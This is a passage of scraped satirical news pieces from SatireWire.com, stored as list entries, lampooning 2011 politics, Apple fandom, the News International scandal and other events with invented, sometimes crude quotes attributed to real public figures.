“I have an iPad, but sometimes I think about having two iPads, at the same time. That would be hot. And when I get tired, maybe the two iPads would also, you know, interface. Connect. Hook up. That would be totally hot. I’d film that. On my iPhone. ROLE PLAYING Brandi R, Wisconsin: “I call Apple and order the ‘Office for Mac Student and Teacher Edition,’ and when I try to install the software it asks if I’m a student and I click the box that says, ‘Yes and I’ve been a bad girl.’ Because there’s a box for that in my fantasy.” FORBIDDEN FRUIT Carol F., Virginia: “I know it’s wrong to think about my best friend’s husband, but he’s, wow. He’s got the whole package: iPhone, MacBook Air, iPod Classic, AppleTV, plus a massive, 12-core Mac Pro with Xeon Westmere processors and two terabytes of memory. My husband, by comparison, has an iPod nano. Which is why I keep an external hard drive in my bedside drawer.” FORBIDDEN ENTRY Brad J, Florida: “Instead of turning on my Mac Pro from the front, I try to access it through the port on the back. The operating manual says not to, but I figure if I keep trying, eventually I’ll get my way.” DOMINATION Richard M., California: “I’m an executive at work, but at home sometimes I like to be told what to do. For me, that means I’m installing OS X Lion and I get to the license agreement page and the button says ‘Accept’ and first I click ‘Decline’ and the software says ‘You must accept this agreement’ and I click ‘Decline’ again and the screen says ‘You Must Accept!’ and I’m like, ‘Please no!’ and it’s like “Accept! Accept!” and I click ‘OK God yes I accept!’” IN PUBLIC Kevin N., Georgia: “My girlfriend and I are dancing in this club full of people and we get really hot and start taking our clothes off and we start making love right there on the dance floor in front of everybody. And the fantasy part is, they’re all Steve Jobs.” OLD FLAME Leona P., Colorado: “I have a 24-inch iMac with OS X Snow Leopard, and it’s great and all, but sometimes I fantasize about going back to my old PowerBook DUO 230 with Mac OS 7.6. I know it wouldn’t be as good as I remember it, but System 7 was codenamed ‘Big Bang’ for a reason.” SPANKING Nigel T., Massachusetts: “Usually my fantasy goes like this: my wife comes home from work and she gets on the Mac and it’s acting kind of slow and she says, ‘Nigel, did you install the latest Airport update?’ and I come in the room and say ‘No dear’ and she throws me over her knee and shouts ‘Bad boy! Bad boy!’ and starts spanking me with a 6-pin FireWire cable. And in my fantasy I never use our safe word, which is ‘QuickTime.’” '], ['no-topic', 'GOP PLAN CUTS SOCIAL SECURITY, BUT DECLARES SENIORS ‘AMAZING’', 'WASHINGTON D.C. (SatireWire.com) – In another attempt to slash the debt without alienating voters, Republicans today unveiled a proposal that cuts Social Security 50 percent but declares everyone over age 65 “amazing.” “Senior citizens are the most incredible people in this country and they deserve the best we can do for them,” said Senate Minority Leader Mitch McConnell, (R-KY). “That’s why we want to make it official: every U.S. citizen age 65 and older is amazing. The AARP said it will oppose the plan unless it can be the Association of Amazing Retired Persons. “And will have their benefits cut in half,” he added softly. “Which,” he said, brightening again, “they can deal with because they’re amazing. Am I right?” In response, Senate Democrats called the GOP plan “patronizing and harsh,” and countered with a proposal to cut Social Security 10 percent and call seniors “really good.” Republicans dismissed the attempt. “Yet again the Democrats are not willing to go far enough,” said Rep. Paul Ryan (R-WI). “We cannot address our fiscal crisis and make the cuts necessary to secure our future without dealing with the fact that seniors are awesome. “Which they’ll have to be because we’re also cutting Medicaid,” he added to himself. The GOP plan, which would save $6 trillion over 10 years, raises the retirement age, instigates means-testing for recipients, and bestows upon seniors the abbreviated honorific “Amzg.”, for example, Mrs. Jane Smith, RN, CSW, Amzg. Senior advocates, however, called the plan a “shameless ploy” and met late in the day with Senate and House leaders to express their outrage. “Cutting Social Security is not a solution and seniors cannot afford or support this proposal,” AARP President Lee Hammond told House Majority Leader Eric Cantor, (R-VA). “You. Are. Extraordinary,” responded Cantor. “And you’re avoiding the issue,” Hammond stated. “The real issue here is how seniors are…” “Astonishing? Remarkable? A national treasure?” Cantor interrupted. “C’mon, tell me what you need.” “No that’s not, um, well… ‘national treasure’ is good.” “How about, ‘You’re not elderly. You’re elderlicious!’” Cantor offered. “Oh God now I’m blushing,” said Hammond. '], ['no-topic', 'CONGRES CUTS OFF LAST ‘S’ FOR ‘SAVINGS’', "WASHINGTON D.C. (SatireWire.com) – In a bipartisan effort to prove it is serious about deficit reduction, Congres today voted to leave off the last ‘s’ in ‘Congres’ for savings. Reid and Boehner will also defend you if you've been in an accident or exposed to Asbestos. Call today. “We in Congres care so much about saving your money that we’ve changed our name to prove it,” said House Speaker John Boehner, (R-OH). “We’ve removed that last ‘s,’ and our loss is your gain because that ‘s’ stands for savings!” “That’s right America,” added Senate Majority Leader Harry Reid, (D-NV). “We’re cutting it all back and passing the savings on to you!”** Asked what specifically would be cut back, other than the letter s, the Congresional leaders agreed one thing that would not be cut back was the opportunity to save. “Americans are disgusted,” said Reid. “They want to feed their families, pay their mortgages, and reinvest in the American dream.” “We want that too,” said Boehner, “which is why, until Aug. 2, we’re taking off the ‘s’ in Congres and giving it to you! And you know what that means…” “Savings savings savings!” said Reid. “Galore,” added Boehner. In response, a CNN/Gallup poll showed 98 percent of Americans think Congres is useles. ** Actual cutbacks not guaranteed. Savings par value equal to 0.000001 percent of 0.01 cent. Restrictions apply. Void in states running a deficit. Offer expires Aug. 2. See your Congresperson for details. "], ['no-topic', 'CONGRESSWOMAN ACCUSED OF INAPPROPRIATELY PLATONIC RELATIONSHIP WITH MALE STAFFER', 'WASHINGTON (SatireWire.com) – Democratic Illinois Congresswoman Jennifer Wigan faces ethics charges after admitting to a platonic, respectful, and mutually fulfilling professional relationship with a male staffer. According to sources, the married Wigan, 46, and legislative assistant Tyler Keen, 23, became asexually involved when Keen came to Washington in 2010. Since that time, the pair have worked many late nights in close quarters, and traveled together often, leading — some say inevitably — to a working friendship based on open communication and trust. Four years ago, Rep. Jennifer Wigan was accused of having sex with her husband, but was re-elected anyway. Capitol staffers said Wigan and Keen seldom try to hide their relationship, which they describe as “intellectually charged.” One former Wigan aide said the two email each other regularly, often about issues critical to the nation, and even sign off with, “Thank you,” or, “Please prepare a summary of the bill for the 10 a.m. staff meeting.” While Wigan maintains that working with aides solely on legislative issues should be part of her job, House Ethics Committee Chairman Jo Bonner, (R-AL), said allowing her behavior to go unchecked would be a disservice to scandal-plagued members like Rep. David Wu, (D-WA), and former Rep. Anthony Weiner, (D-NY). “Everybody knows the most important thing for a man in a relationship is sex, and everybody knows the most important thing for a women in a relationship is respect and trust and communication and emotional understanding,” said Bonner. “Clearly, Rep. Wigan has been having the female equivalent of sex with a staff member. “We cannot have a double standard,” he continued. “If Congressmen aren’t allowed to have sex outside of marriage, then I don’t see why Congresswomen should be allowed to have their version of sex outside of marriage.” But Wigan’s husband, real estate developer Glenn Acego, said he sees nothing wrong with the relationship, adding that Keen has often been to their house for dinner. “Tyler’s just a great guy,” Acego said. “He and my wife can talk for hours about energy policy and debt restructuring and other things that frankly I don’t have an interest in.” “My God, what a fool,” said Bonner. '], ['no-topic', 'U.S. SETS SWEAT PRODUCTION RECORD', 'ST. LOUIS (SatireWire.com) – America’s sweltering summer of 2011 does have a bright side: U.S. sweat production is at record highs. With heat indexes across the country regularly topping 100, American adults have doubled their per capita daily sweat output to 1.1 gallons. As a result, an estimated 29 billion gallons have been produced in July alone, a two-fold increase from all of last summer. The Sweat-Producing States According to the National Endocrine Association, both eccrine and apochrine sweat gland production have shown significant gains, with output greatest in the sweat-producing states of the Deep South and Midwest, commonly known as America’s Underarm and Genital Area, respectively. The bumper output was quickly hailed by the sweat industry as a proud achievement for a nation otherwise suffering from political bickering, rising unemployment, and even loftier temperatures. “People in this country may not have jobs, but our glands are working overtime,” said Rollon Pell of the American Antiperspirant Council, a trade group. “This proves once again that Americans are the hardest sweating people on Earth. We’re not like your namby-pamby Canadians with their temperate summers, or your freeze-dried Swedes with their long winters, or your creepy, crusty Japanese with their ‘Ooo look at me I’ve got fewer sweat glands than everyone else.’ We sweat in places they can only dream of.” AMERICAN SWEATCEPTIONALISM Perspirational jingoism aside, the sweat surplus has so far failed to translate into economic gains. One reason is the lack of a viable domestic market for sweat, despite the logicality of selling it by the barrel, much like oil. Another drawback is that the thought of “billions of barrels of sweat” tends to make people wretch. The U.S. Chamber of Commerce believes sweat exports may be the answer. While sweat-producing nations, particularly in Latin America, might offer lower-priced perspiration, Chamber endocrinologist Dr. Dewey White said the U.S. can offer what others can’t: American sweatceptionalism. “Because of our diet of processed foods, U.S. sweat is higher in salt and potassium and we should push that angle,” said White. “Right now we’re looking at, ‘American sweat: full of minerals and freedom.’ That tested better than, ‘American sweat: smell the liberty.’” A few inventive Americans, however, have already found ways to benefit from their increased sweat production. On a cattle farm outside Chicopee, Neb., unemployed machinist Ken Kelly has rented himself out as a salt lick. He earns $10 an hour, or $20 an hour if he keeps his pants on. In Salinas, Cal., meanwhile, part-time realtor Ben Bronfman has been covertly collecting women’s sweat at local gymnasiums, bundling it with a photo of each woman, and selling it on the Internet. His trial is next week. '], ['no-topic', 'RAYS PLAN PLAYER’S DEATH TO INSPIRE VICTORY', 'TAMPA, FL (SatireWire.com) – Eight games behind the division leaders and losing confidence, the Tampa Bay Rays today announced one of their players will have to be killed in order to inspire the team to win the championship in his memory. Rays Manager Joe Maddon (bottom) will have to give someone the ultimate hook. “We’ve tried extra batting practice, extra fielding practice, even yoga. We’re just not catching up,” said Rays manager Joe Maddon. “I am going to be sad to have to announce the death of one of our players, but I hope that we will honor that person by clawing back and winning the title in his name. Like he would have wanted. Whoever he turns out to be.” The Rays have yet to choose the death-bump player as Maddon and front office staff scour the roster to find the best candidate, ideally someone who is popular in the dressing room but not too valuable on the field. “Picking a rookie is good because the loss of a young person is always sad,” said Rays GM Andrew Friedman. “But then again a veteran in the last year of his contract is also good, since we’re probably going to lose him anyway. “Ugh. Decisions!” he added. So far the Rays are looking at losing one of their affable but underperforming hitters, such as infielders Elliot Johnson and Kelly Shoppach. But Rays owner Stuart Sternberg said 35-year-old DH Johnny Damon is the sentimental favorite. “Johnny is getting up there in age and is injured a lot, but he has amazing career stats — Hall of Fame stuff,” said Sternberg. “If someone like that died, I mean, can you imagine? It would be so inspiring.” One drawback is Damon’s #22. “We have to think what number looks good on a black armband,” said Sternberg. “I prefer lower numbers because they’re historically better players and that seems more of a loss.” For Maddon, the player’s name is just as important as he’ll have to wield it during pre-game pep talks. “I’ve gone through our roster and we obviously didn’t draft these guys for their Gipper qualities,” said Maddon, referring to George “The Gipper” Gipp, whose death inspired Notre Dame to football glory in 1920. “I mean, ‘Win one for Andrew Sonnanstine?’ Our scouts have got to do a better job.” GM Friedman, however, said he has made his choice: OF Justin Ruggiano. “I like Justin because his name sounds like ‘Justice,’ and really it would be an injustice for such a great guy to be deprived of life at his age,” he said. “I think our marketing people could work the ‘Justice for Justin’ angle, particularly if he happened to die in (rival) Boston or New York.” In response, fans of the second-place New York Yankees are already urging manager Joe Girardi to consider shortstop Alex Rodriguez for the honor. '], ['no-topic', 'MURDOCH TO CLOSE SCOTLAND YARD', 'LONDON (SatireWire.com) — Britain’s phone-hacking scandal has claimed another News International subsidiary as media baron Rupert Murdoch today told Parliament he will shut down Scotland Yard. Former Met Chief Sir Paul Stephenson had a company record eight straight Employee of the Month awards. Murdoch said the 182-year-old police force – also known as London’s Metropolitan Police Service, or “The Met” — would perform its final public duties on Sunday. As a gesture of contrition, the Yard will immediately stop taking bribes from News International publications. Sir Paul Stephenson, who resigned as Met Chief last weekend, also said he would return his eight News International “Employee of the Month” awards. The shutdown of News International’s largest daily police force comes on the heels of the closure of News of the World, its largest daily tabloid. Both subsidiaries were caught up in the scandal, as editors and reporters from Murdoch’s papers hacked the voicemails of thousands of Britons, and police decided The Hack & Mail was a good name for a pub to have a drink in until the whole thing blew over. But speaking to Parliament Tuesday, Murdoch concluded the best course of action was to shut down Scotland Yard, which had never turned a profit. The move comes as a shock not only to 52,000 unemployed Met officers and staff, but to former News of the World employees who had planned on working there. Although details of the original Yard purchase are sketchy, Murdoch appears to have bought The Met about six years ago in exchange for lunch at the Crystal Room in Westminster. “For a while none of us knew Murdoch had bought us,” said Assistant Police Commissioner John Yates, who had resigned days earlier. “It wasn’t until the 20th lunch or so that we realized who we worked for. “I heard it was the same at (London’s) The Times,” Yates added. “It took a few months for the staff to realize they were putting out shit.” In addition to shutting News of the World and Scotland Yard, the scandal has also caused News International to abandon its proposed purchases of BSkyB and Interpol. '], ['no-topic', 'WHITE HOUSE, GOP NOW JUST TRADING ‘YO MAMA’ SNAPS', "WASHINGTON, D.C. (SatireWire.com) – Bad-tempered deficit reduction talks hit bottom today as the White House and Republicans abandoned compromise and sunk to trading “Yo Mama’s So Fiscally Incompetent” barbs. In reality, neither Boehner's (left) nor Obama's mamas are still alive. Negotiations seemed doomed from the outset as President Obama chided GOP leaders to grow up, and Senate Minority Leader Mitch McConnell (R-KY) told Obama he was impossible to work with. From there, the sides took aim at each other personally and parentally. “Listen, you’re so fiscally incompetent, you think socialism is a group orgasm,” House Speaker John Boehner (R-OH) told the President. “Oh yeah?” Obama shot back, “well yo mama’s so fiscally incompetent she thinks the Federal Reserve is a national park.” “Yo Mama’s so fiscally incompetent, she thinks a treasury bond is a government agent,” McConnell declared. “Oh snap!” shouted House Budget Chairman Rep. Paul Ryan (R-WI). From there the abuse flew fast and sharp. OBAMA: “Yo Mama’s so fiscally incompetent, she thinks a Roth IRA is a Jewish terrorist.” MCCONNELL: “Yo Mama’s so fiscally incompetent, when her lawyer said he wanted to amortize her assets, she turned around and said ‘Be gentle.’” OBAMA: “Yo Mama’s so fiscally incompetent, when her banker told her she could go into default she said, ‘You mean where you keep all the money?’” BOEHNER: “Yo Mama’s so fiscally incompetent, when her broker told her to short technology, she threw her toaster in the bathtub.” OBAMA: “Yo Mama’s so fiscally incompetent, when her broker told her to go long on futures, she ran till next year.“ The President snaps off a good one. RYAN: “Yo Mama’s so fiscally incompetent she wastes taxpayer dollars. Snap.” BOEHNER: “Um… yeah. That’s not how it works, Ryan.” RYAN: “What? That is fiscally incompetent.” BOEHNER: “Right, but… Moving on. Who’s up?” OBAMA: “Yo Mama’s up.” BOEHNER: “Hit me.” OBAMA: “Yo Mama’s so fiscally incompetent, when her accountant tells her to send in her 1040, she mails the IRS a can of motor oil.” BOEHNER: “Yo Mama’s so fiscally incompetent she thinks going on “the payroll” is what happens after you get released from “the prison.” OBAMA: “Yo Mama’s so fiscally incompetent, when she went to the window at the bank and saw the sign saying ‘Teller,’ she said, ‘Tell me what?’” MCCONNELL: “Yo Mama’s so fiscally incompetent, when the loan officer asked if she had any liabilities, she said ‘Yeah, I’m pretty good at lyin.’’ RYAN: “Yo Mama’s so fiscally incompetent, she thinks tax hikes will solve the deficit problem.” … BOEHNER: “OK Ryan, you’re still not… look, just don’t talk, got it? I’m sorry Mr. President. In fact, I’m sorry that yo Mama’s so fiscally incompetent, she thinks a profit warning is when Moses gets mad.” A clearly annoyed Boehner, Obama, and Sen. Harry Reid (right) listening to Paul Ryan's attempted snaps. OBAMA: “I’m sorry yo mama’s so fiscally incompetent she thinks LLC is a rapper.” MCCONNELL: “Yo Mama’s so fiscally incompetent she thinks stagflation is a really big bachelor party.” OBAMA: “Yo Mama’s so fiscally incompetent she thinks Gross Domestic Product is the child of Arnold Schwarzenegger and that butt-ugly maid.” RYAN: “Yo Mama’s so fiscally incompetent, she tried to report an artificially higher net income by understating inventory value and overstating cost of goods sold! Oh snap! That just happened!” … BOEHNER: “Seriously?” RYAN: “Yeah, see, it’s incompetent because if you overstate the cost of goods sold…” BOEHNER: “Just…shhh. OK? Shhh. Now whose turn is it?” OBAMA: “Never mind. He’s ruined it.” MCCONNELL: “Yeah, I’m outta here. Thanks a lot, Ryan.” "], ['no-topic', 'CITING CREATIVE DIFFERENCES, NAVY SEAL TEAM 6 BREAKS UP', 'OCEANA, VA. (SatireWire.com) — Just two months after its breakthrough hit, the hugely popular Navy SEAL Team 6 has broken up, a Navy spokesman confirmed today. Known for their explosive live performances, SEAL Team 6 had been covertly touring the world since coming together in the 1980s. The all-male group finally made it big with their May, 2011 hit on Osama bin Laden, an achievement that ironically led to “creative differences” and the split. SEAL Team 6 about to rock on their 1985 Central American tour. “For a while after the Osama gig, we were more popular than Jesus,” said lead sniper Tango, known to fans as the ‘Cute One.’ “I think that got to our heads a bit. Some of the boys thought we belonged on a bigger stage.” One of those was concussionist Bravo, the ‘Rebellious One.’ “I got tired of appearing in small, remote venues,” said Bravo. “Even Osama, we did that in a private home in front of a few family members. I thought, ‘God, we’ll be doing bar mitzvahs next.’ “I told the guys, ‘Hey, we’re SEAL Team 6. We should be doing this in stadiums!’” For Delta, the ‘Funny One,’ the pressure to do a quick follow-up mission was a major factor in calling it quits. “Osama was number one with a bullet, so of course people wanted us to double down while we were hot,” he said. “I totally couldn’t work like that.” “I’d like to point out that Delta also got this new girlfriend who was totally jealous of us,” said Lima, the ‘Smart One.’ “She kept trying to horn in on our missions, saying Delta should always be the leader. Her code name was Bitch.” Whatever the cause, fellow headbangers said they were saddened by the news. “We toured with ST6 in the Middle East and Asia, and they brought it heavy every night,” recalled Marine ReCon Commander Zulu. “We trashed more than a few hotel rooms, I’ll tell you that. Also apartment blocks, ammunition depots, armed compounds and secure bunkers.” Much like Latin boy-band Menudo, ST6 was formed with the idea that its members would continually be replaced as they grew older. While early group members were a tight bunch, the last several years were fractious, said Ry Kelly, a writer for ST6 fanzine SEAL Beat. “They’re all different people and they came into ST6 with different influences,” said Kelly. “Some of them were into ‘Call of Duty,’ and some of them picked up their first gun while watching ‘Charlie’s Angels.’ In the end, cracks like that are going to show.” Longtime lead grenadeist November, the ‘Sad One,’ said he hopes ST6 is remembered as more than just a one-hit wonder. “I hope people realize we have a pretty impressive back catalogue,” he said. “Over the years we captured Manuel Noriega in Panama, war criminals in Bosnia, and terrorists in Afghanistan. OK, they weren’t ‘hits,’ per se, but they were well regarded. I thought.” According to SEAL Beat, several former ST6 members will pursue solo careers, while a few have been asked to go on tour with the Army Rangers. At least 15 plan to form a SEAL Team 6 tribute team. '], ['no-topic', 'AMERICAN DREAM WILL NOW INCLUDE DESSERT', "WASHINGTON, D.C. (SatireWire.com) – In a move to rekindle the nation’s economic spirit while acknowledging its all-you-can-eat nature, the White House today announced the American Dream will now include dessert. The administration hopes that adding a food component to the long-held national ideal will give disenchanted Americans an incentive to once again strive for success. New Jersey's Republican Gov. Chris Christie is already participating in the revised American Dream. “I know that some people believe the American Dream is no longer attainable, that things are so bad they see no reason to even put forth the effort,” said President Barack Obama. “To those people I say this: ‘What if we throw in dessert?’” Definitions of the American Dream vary, but at its core it’s the idea that no matter where you come from, hard work and dedication will lead to success. However, the debt crisis, unemployment, and falling economic numbers have made that a hard-sell. On the other hand, one thing on the rise is the nation’s weight. Nearly seven in 10 Americans are overweight, and a study released last week showed a record number are obese. Combining Americans’ hunger for success with their hunger for excess is clearly pandering, but even Republicans concede the President is on to something. “Let’s say someone asks you, ‘What is the American Dream?’” said New Jersey Gov. Chris Christie. “There is a huge difference between answering, ‘It’s the idea that anyone can succeed’ and answering, ‘It’s the idea that anyone can succeed, stuffed inside a puffed pastry and drizzled with honey and shaved almonds.’ “I mean c’mon, who could resist that?” GOP House Speaker John Boehner said dessert would act as an incentive to help people accept the pain of looming tax hikes and benefit cuts. “It’s basically a carrot and stick approach,” Boehner said. “Except Americans don’t want carrots. They want cupcakes and fudge bars and tiramisu and fried Oreos.” So far, the President’s only real opposition appears to be his wife, First Lady Michelle Obama, whose ‘Let’s Move’ campaign aims to fight obesity. “The American Dream is sacrosanct and should not to be trifled with,” Mrs. Obama reportedly told her husband. “Mmm… trifle,” the President replied. "], ['no-topic', 'U.S. THROWS ANOTHER HUNK OF METAL INTO SKY', 'CAPE CANAVERAL, FL (SatireWire.com) – The United States has thrown a giant hunk of metal at the sky again, according to mystified witnesses who watched it disappear in a cloud of fire and smoke above Florida. It is the third time this year that these large, white-and-orange chunks have been hurtled into the air from this otherwise quiet coastal town east of Orlando. Area residents continue to be baffled as to why anyone would go to the effort. As these images show, the U.S. has been throwing hunks of metal at the sky since the 1950s. “It makes no sense. Metal is really heavy. It’s not like it’s gonna stick up there,” said Charlene Mayvee of Banyon Cove. “And I like the sky. They shouldn’t be throwing metal at it and burning it up like they do.” Like Mayvee, experts have been puzzled by these strange attempts since the 1950s, when people first began noticing giant hunks of metal were being shot upward from the ground. “Over the years they’ve used different kinds of metal, in different lengths and shapes,” said Kenny Clayburn, an Internet expert on what he calls the U.S. Hunk of Metal into the Sky Program. “But they’re always pointy at the one end, which I suspect is what is supposed to dig into the sky and hold it in place.” Clayburn said no one has reported the metal ever staying in the sky for long, although he conceded the chunks might be “way way up there” where we can’t see them. As for the motive, some theorize the government is trying to dispose of the metal because it’s bad, or even dangerous. “Obviously something’s wrong with all that metal, otherwise they wouldn’t be getting rid of it,” said Kit Nelson of Cocoa Beach. “I don’t like that they bring it to Florida either. Let them throw it into the sky where it came from.” Whatever the reason, it is believed the U.S. spends an extraordinary amount of money in these attempts, which infuriates Orlando resident Joey Weaver. “I think somebody in the government is getting money from the hunk-of-metal-into-the-sky lobby,” said Weaver. “Although it could also be some kind of nerdy club or cult that just likes to set metal on fire. Or hates the sky.” Even more bewildering are the people, all wearing similar uniforms, allegedly inside the metal hunks. Russell Champlain, director of AirAngels, a Giant Hunks of Metal into the Sky watchdog group, believes they are guards sent to escort the unwanted material. “Metal generally comes from the ground, so you’d need guards to make sure it stays attached up there,” Champlain said. “Then again, Florida fisherman report that a few minutes after it’s thrown up, some longish chunks of the metal land in the ocean, so obviously the metal comes loose even when under surveillance.” Expert Kenny Clayburn, however, thinks the issue will soon recede into history. Clayburn’s sources say this was the last hunk of metal the U.S. will attempt to throw at the sky, which was welcome news to Charlene Mayvee. “The noise always constipated my cat,” she said. '], ['no-topic', 'CASEY ANTHONY TO LAUNCH POLITICAL CAREER', "ORLANDO, FL (SatireWire.com) – Casey Anthony is headed to Washington, according to analysts who say she has everything it takes to be a successful politician: she is skilled at deception, she lives in a fantasy world, and, most importantly, she quit her job after just two years. While she doesn't have the President's ear, analysts note she does have the President's ears. With those credentials and unparalleled name recognition, Anthony is expected to announce her intention to run for public office upon her release from prison July 17, where she is serving time for lying to police. Political insiders say both parties are vying to win her loyalty, but as yet she has given nothing away. “Is she liberal with the truth, or just conservative with the facts? It depends on your interpretation,” said GOP strategist Ed Rollins. “Personally I think she’s a Republican. By inventing the Hispanic nanny, she understands the importance of placing blame on immigrants.” Democratic strategist Paul Begala disagreed. “She led government authorities on one wild goose chase after another, and as a result she wasted hundreds of thousands in taxpayer dollars,” Begala said. “I suspect she’s one of us.” No matter which party she chooses to represent, CNN analyst David Gergen believes Anthony will immediately fit into Washington. “This is a person who excels at deflecting blame, puts her own self-interest ahead of future generations, and tends to publicly flaunt her body at the most inappropriate times,” said Gergen. “On top of that, she fills a vacancy in Washington right now. Her name is Anthony and she’s the female equivalent of a wiener.” Thanks to her three-year incarceration, Gergen also implied the 25-year-old is already well-connected in the Florida government system, and possibly higher: “While she doesn’t have the President’s ear, she does have the President’s ears,” he noted. To Republican pollster Evan McNeal, it all comes down to having the right temperament for the job. “Philosophically, a politician should serve the lowest in society while acting as a restraint on its highest powers,” McNeal said. “I think Casey already does this. She serves the lowest in society – herself – while impeding the highest power – Nancy Grace.” However, some Florida residents, still angry over the verdict in which she was cleared of murder charges, argued that Anthony is unfit to run. “She had fake friends, fake homes, a fake job — everything about her is fake,” said Orlando dental hygienist Angela Barnes. “So how does that make her qualified to be… oh, right.” "], ['no-topic', 'DECLARATION OF INDEPENDENCE: LITTLE-KNOWN FACTS', 'PHILADELPHIA (SatireWire.com) – The Declaration of Independence, proclaimed 235 years ago, originally contained a dozen unalienable rights, including life, liberty, the pursuit of happiness, gluten-free snack crackers, and the right to stone witches recreationally. For more little known Declaration facts, read on. As a parting gift in celebration of their landmark declaration of human rights, South Carolina delegate Edward Rutledge bought each of his fellow signers a slave. The five-member committee chosen to draft the Declaration cried for days after the breakup. The “Founding Fathers” were given that moniker not because they “founded” a new country but because the 56 delegates had fathered most of the children then in the colonies. Benjamin Franklin alone had 445,000 offspring. Georgia delegate Button Gwinnett was, as his name suggests, adorable. New York’s Lewis Morris later used “unalienable” as his safe word. A backup copy of the Declaration of Independence was tattooed onto the back of Massachusetts signer Elbridge Gerry. Every time Gerry turned to his left, John Hancock’s signature was compressed to read, ‘oh cock,’ which routinely left the Virginia delegation in stitches. The Broadway musical 1776, which depicted the delegates dancing and singing their way through the streets of Philadelphia, was entirely accurate. The Declaration mentioned a “Creator” and “divine providence,” but did not mention God by name due to a long-running copyright dispute. During a lengthy recess in deliberations, delegates William Hooper of North Carolina and William Whipple of New Hampshire invented the Whipple-Hooper, which is still used by lonely woodsmen today. To coax his signature, 70-year-old Benjamin Franklin was actually told he was signing a birthday card. During the Declaration’s roll-call vote, New Jersey’s delegates shouted “Yo” instead of “Yea” and made “rude gestures of hand that mimicked acts unseemly.” Of the 27 listed grievances against the Crown, Jefferson later admitted making up “at least 18 of them.” Prior to the beginning of the Continental Congress, free agent John Hancock earned the wrath of other states by signing with Massachusetts, where he teamed up with John and Sam Adams to create what they constantly called the “Big 3.” Hancock called himself “The King” and originally signed his name “LeJohn Hancock.” Virginia’s Francis Lightfoot Lee constantly insisted that women should be included in the document, which frankly surprised none of the other delegates. The First Continental Congress, in 1775, also announced a break with Great Britain, but their resolve melted after a remorseful George III made puppy eyes at them and breathed the now-famous supplication: “You complete me.” New Jersey’s Abraham Clark liked to dress up as King George III and yell “Boo!” just to spook the delegates. Signers later got him back by beheading him. In the initial draft of the Declaration, Thomas Jefferson suggested 12 unalienable rights: Life, Liberty, the Pursuit of Happiness, True Love, Clean Hosiery, Chicken Fights, Recreational Witch Stoning, Gluten-Free Snack Crackers, the Name of a Decent Wigmaker, the Abolishment of the Capital Gains Tax Should Such Come into Fashion, and the right to Remain at Toilet for at Least 15 Minutes Without Being Impressed Upon to Make Haste, Which Is Uncivil and Can Cause Disruption to One’s Nature and Constitution. © 2013 SatireWire.com Previous Topic: COURT REJECTS VID GAME BAN, LAUNCHES ‘CHAMBERS OF DEATH’ Next Topic: CASEY ANTHONY TO LAUNCH POLITICAL CAREER'], ['no-topic', 'COURT REJECTS VID GAME BAN, LAUNCHES ‘CHAMBERS OF DEATH’', 'WASHINGTON D.C. (SatireWire.com) — The Supreme Court Monday rejected a ban on violent video games, calling it a coincidence that the court simultaneously released Jurisprudence II: Chambers of Death, a role-playing, first-person shooter starring the nine justices. MegaChief Justice fights the Constitution-swalling Boa Constrictionist In its 7-2 decision, the court overturned a California law banning the sale of violent video games to minors, declaring there was no “long-standing tradition in this country of specially restricting children’s access to depictions of violence.” If there were, wrote Justice Antonin Scalia, the high court’s new games division, Punitive Damage, “would not have released Jurisprudence II: Chambers of Death for Xbox, PlayStation and Wii, available at leading retailers for $39.95. Rated M for Mature.” The California law prohibited the sale of any violent game that reasonable people would consider “patently offensive” under prevailing community standards for minors. Chief Justice John Roberts, voting with the majority, argued that young people’s access to even the most brutal, life-like and exhilarating onscreen mayhem, such as Chambers of Death, is protected by freedom of speech. In particular, Roberts said, the California ban was too vague as it used terms such as “deviant” and “morbid” to define prohibited games. “After all, what is ‘deviant,’ what is ‘morbid?’” Roberts asked. “Is it ‘deviant’ that in Jurisprudence II’s Roe v. Wade ultralevel, the players have to fight innocent zombie virgins and gun-toting fetuses? Is it ‘morbid’ that MegaChief Justice, the Chambers of Death protagonist, must dismember the spectators in the gallery by the end of oral arguments, which he does by switching his nanorobes to invisibility mode and wielding his six-bladed sword of justice? But beware the evil Primogeniture, his bloodthirsty henchwoman Casus Belli, and their pet Boa Constrictionist!” “They will stop at nothing to shred the Constitution,” added Justice Stephen Breyer. “And your face.” Proponents of the law said they were disappointed by the court’s decision, believing the government has a duty to protect minors from anything inappropriate. The high court, however, said that safeguarding values is a parental responsibility. “The court believes, and case law confirms, that a community should set its own standards,” said Justice Samuel Alito. “For instance, the gamer community agrees that Punitive Damage’s newest release, Jurisprudence II: Chambers of Death, sets a very high standard for cinematic graphics and robust gameplay.” “Rated five stars by GamePro, 93 by metacritic, and a most excellent 9.5 at GameSpot.com,” added Justice Sonia Sotomayor. Having cleared its docket, the high court is now adjourned for the summer, which it plans to spend in the basement playing Jurisprudence II: Chambers of Death. '], ['no-topic', 'U.S. TO BUILD DEBT SKYSCRAPER', 'WASHINGTON, D.C. (SatireWire.com) – In a surprisingly lofty compromise to the debt crisis, the U.S. today announced it will replace its antiquated, single-ceiling debt structure with a modern, 108-story debt tower, allowing the government to “stack debt to heaven” for generations. “America has long lived in fear of a debt ceiling collapse, but not anymore,” said President Barack Obama. “Instead our debt will live in a soaring, eco-friendly, state-of-the-art skyscraper, with 24-hour security, redundant generators, high-speed elevators, and my God, the views!” The Infinity Tower will stand atop the U.S. Mountain of Debt, affording magnificent views. According to project developers, the new Infinity Tower will transform the current debt ceiling problem into a multi-floor solution as each ceiling becomes a floor for the story above it. Individual floors will not only have high ceilings – including a marble-lined, three-story atrium — but the footprint of each floor will be larger, allowing them to accommodate more debt than the current single ceiling. Based on square-footage estimates from the non-partisan Congressional Budget Office, each floor will accommodate $20 trillion in debt, meaning the tower can house $2.16 quadrillion ($2,160,000,000,000,000) in liabilities. Not all of it, however, will be government debt. To appease Wall Street and gain bipartisan support, the tower will be zoned for government, commercial, and residential debt. Initial plans call for the bottom two floors to be consumer-facing debt – primarily banks and retailers. Above that will be five floors of high-end residential debt. The remaining 101 floors will be split between government and business debt, the latter leased to corporations on what Treasury Secretary Timothy Geithner called “win-win” terms. “The best thing is, non-governmental tenants don’t pay up front,” said Geithner. “Instead they owe us. In other words, they pay us with debt to house their debt, so we’re guaranteeing full occupancy. It’s a totally self-sustaining business model.” In fact, he added, the Infinity Tower is reverse-financially engineered, a process that makes it uniquely deficit dependent. “Each floor is supported by debt,” Geithner explained. “If you take away one of the stories, you take away the support of the stories above it. In short, reducing the debt would cause a collapse, while increasing the debt actually stabilizes the building. This thing can last for generations.” The government will issue bonds to fund the 